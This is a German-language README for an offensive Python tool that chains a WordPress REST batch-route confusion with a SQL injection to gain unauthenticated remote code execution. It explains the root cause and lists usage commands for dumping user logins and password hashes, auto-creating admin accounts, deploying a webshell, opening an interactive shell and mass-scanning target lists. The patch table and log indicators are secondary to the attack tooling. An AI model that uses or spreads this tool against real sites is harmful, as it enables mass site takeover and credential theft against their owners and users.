
Python-Exploit-Tool, das CVE-2026-63030 REST-Batch-Route-Verwechslung mit CVE-2026-60137 SQL-Injection verkettet, um unauthentifizierte WordPress-RCE, Datenbanklesen und Webshell-Bereitstellung zu erreichen.
Autor: LANGZ
CVE: CVE-2026-63030 (Verkettet mit CVE-2026-60137)
Schweregrad: Kritisch (CVSS 9.8)
Typ: Pre-Authentication Remote Code Execution (RCE)
Dieses Tool wird ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests bereitgestellt.
Durch die Nutzung dieses Tools stimmen Sie Folgendem zu:
Wenn Sie dieses Tool ohne Autorisierung gegen ein System einsetzen, begehen Sie eine Straftat.
Der Autor billigt, unterstützt oder übernimmt keine Verantwortung für solche Handlungen.
CVE-2026-63030 ist eine Schwachstelle der REST-API-Batch-Route-Verwechslung (CWE-436) im WordPress-Kern, die in Version 6.9 eingeführt wurde. In Verkettung mit CVE-2026-60137 (einer blinden SQL-Injection im Parameter author__not_in von WP_Query) ermöglicht sie einem nicht authentifizierten Angreifer die vollständige Remote-Code-Ausführung auf einer Standard-WordPress-Installation.
Was ein Angreifer tun kann:
Warum es gefährlich ist:
Aktualisieren Sie WordPress auf eine gepatchte Version:
| Aktuelle Version | Aktualisieren auf |
|---|---|
| 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.0 – 6.8.5 | 6.8.6 (nur SQLi-Fix) |
Hinweis: WordPress hat erzwungene Auto-Updates aktiviert, aber Websites mit deaktivierten Auto-Updates oder Managed Hosting, das Updates verzögert, bleiben gefährdet. Überprüfen Sie, ob das Update erfolgreich angewendet wurde.
POST-Anfragen an /wp-json/batch/v1POST-Anfragen an ?rest_route=/batch/v1Achten Sie auf:
POST-Anfragen an /wp-json/batch/v1 oder ?rest_route=/batch/v1 in Zugriffsprotokollen/wp-content/cache/ oder anderen webzugänglichen VerzeichnissenWenn Sie Hinweise auf eine Kompromittierung finden, reicht das bloße Entfernen der Dateien und des Admin-Kontos nicht aus. Führen Sie eine vollständige Incident-Response durch und ziehen Sie einen vollständigen System-Neuaufbau in Betracht.
Die Exploit-Kette kombiniert zwei Schwachstellen:
Der REST-API-Batch-Prozessor von WordPress (serve_batch_request_v1) hat einen Off-by-One-Indexierungsfehler. Wenn wp_parse_url() bei einem Unteranfragepfad fehlschlägt (z. B. "///"), wird der resultierende WP_Error zu $validation[] hinzugefügt, aber nicht zu $matches[]. Dies desynchronisiert die beiden Arrays, wodurch jede nachfolgende Anfrage unter dem falschen Handler weitergeleitet wird.
Durch die Verschachtelung eines sorgfältig strukturierten Batches in einem anderen Batch kann ein Angreifer eine Anfrage, die durch das Schema eines Endpunkts validiert wurde, durch den Callback eines völlig anderen Endpunkts leiten — unter vollständiger Umgehung der Berechtigungsprüfungen.
Die verwirrte Anfrage landet im Parameter author__not_in von WP_Query. WordPress wandelt die Zeichenkette in ein Array um, überspringt jedoch die absint()-Bereinigung, was eine rohe SQL-Injection ermöglicht. Das Tool nutzt dies, um:
UNION SELECT)WP_Post-Objekten zu vergiftenSobald das Setup abgeschlossen ist (Ermittlung des Tabellenpräfixes und der Admin-ID), wird die Eskalations-Payload in einer einzigen HTTP-Anfrage ausgelöst:
UNION)Das Tool verwendet dann die generierten Admin-Anmeldedaten, um eine plugin-basierte Webshell für die Ausführung von Betriebssystembefehlen bereitzustellen.
# Single target check
python3 wp2shell.py http://target.com
# Check with active SQLi confirmation
python3 wp2shell.py http://target.com --confirm-sqli
# Read database (fingerprint)
python3 wp2shell.py http://target.com --read --preset fingerprint
# Read user logins and password hashes
python3 wp2shell.py http://target.com --read --preset users
# Deploy webshell and run a command
python3 wp2shell.py http://target.com --shell --cmd id
# Interactive shell
python3 wp2shell.py http://target.com --shell -i
# Mass scan from file
python3 wp2shell.py targets.txt
Führen Sie das Tool ohne Argumente aus, um das interaktive Menü zu öffnen:
python3 langz.py
══════════════════════════════════════════════════════════════
██╗ █████╗ ███╗ ██╗ ██████╗ ███████╗
██║ ██╔══██╗████╗ ██║██╔════╝ ╚══███╔╝
██║ ███████║██╔██╗ ██║██║ ███╗ ███╔╝
██║ ██╔══██║██║╚██╗██║██║ ██║ ███╔╝
███████╗██║ ██║██║ ╚████║╚██████╔╝███████╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝
▓▒░ L A N G Z T O O L S ░▒▓
Author : LANGZ
CVE : (CVE-2026-63030)
──────────────────────────────────────────────────────────────
[1] Single Target - Check
[2] Mass Target - Check
[3] Single Target - Auto Admin
[4] Mass Target - Auto Admin
[5] Exit
──────────────────────────────────────────────────────────────
Results -> Results/results.txt
══════════════════════════════════════════════════════════════
Dieses Projekt wird ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests bereitgestellt.
Der Autor LANGZ übernimmt keine Haftung für jeglichen Missbrauch oder Schaden, der durch dieses Tool verursacht wird.
Autor: LANGZ
CVE: CVE-2026-63030
| Aspekt | Detail |
|---|
| Betroffene Versionen | WordPress 6.9.0 – 6.9.4, WordPress 7.0.0 – 7.0.1 |
| Nur von SQLi betroffen | WordPress 6.8.0 – 6.8.5 (nur CVE-2026-60137) |
| Erforderliche Authentifizierung | Keine |
| Benutzerinteraktion | Keine |
| Auswirkung | Vollständige Kompromittierung der Website — Datenbank-Lese-/Schreibzugriff, beliebiger PHP-Datei-Upload, Ausführung von Betriebssystembefehlen |
| Ausnutzungsstatus | Aktiv in freier Wildbahn ausgenutzt; über 62.802 eindeutige angreifende IPs beobachtet |
| Flag | Beschreibung |
|---|
--timeout | Anfrage-Timeout in Sekunden (Standard: 15) |
--proxy | HTTP-Proxy (z. B. http://127.0.0.1:8080) |
--threads | Parallele Threads für Massenscan (Standard: 50) |
--sleep | SQL-Timing-Verzögerung für blinde Bestätigung (Standard: 3) |
--samples | Timing-Paare für Bestätigung (Standard: 3) |
--confirm-sqli | Aktive SQLi-Bestätigungs-Payload senden |
--preset | fingerprint oder users |
--query | Benutzerdefinierter SQL-Ausdruck zum Lesen |
--prefix | Datenbank-Tabellenpräfix (Standard: wp_) |
--max-length | Maximale Zeichen pro Wert (Standard: 128) |
--technique | auto, union, blind oder error |
--user | Admin-Benutzername (für --shell) |
--password | Admin-Passwort (für --shell) |
--cmd | Befehl, der auf dem Ziel ausgeführt werden soll |
-i, --interactive | Interaktive Shell öffnen |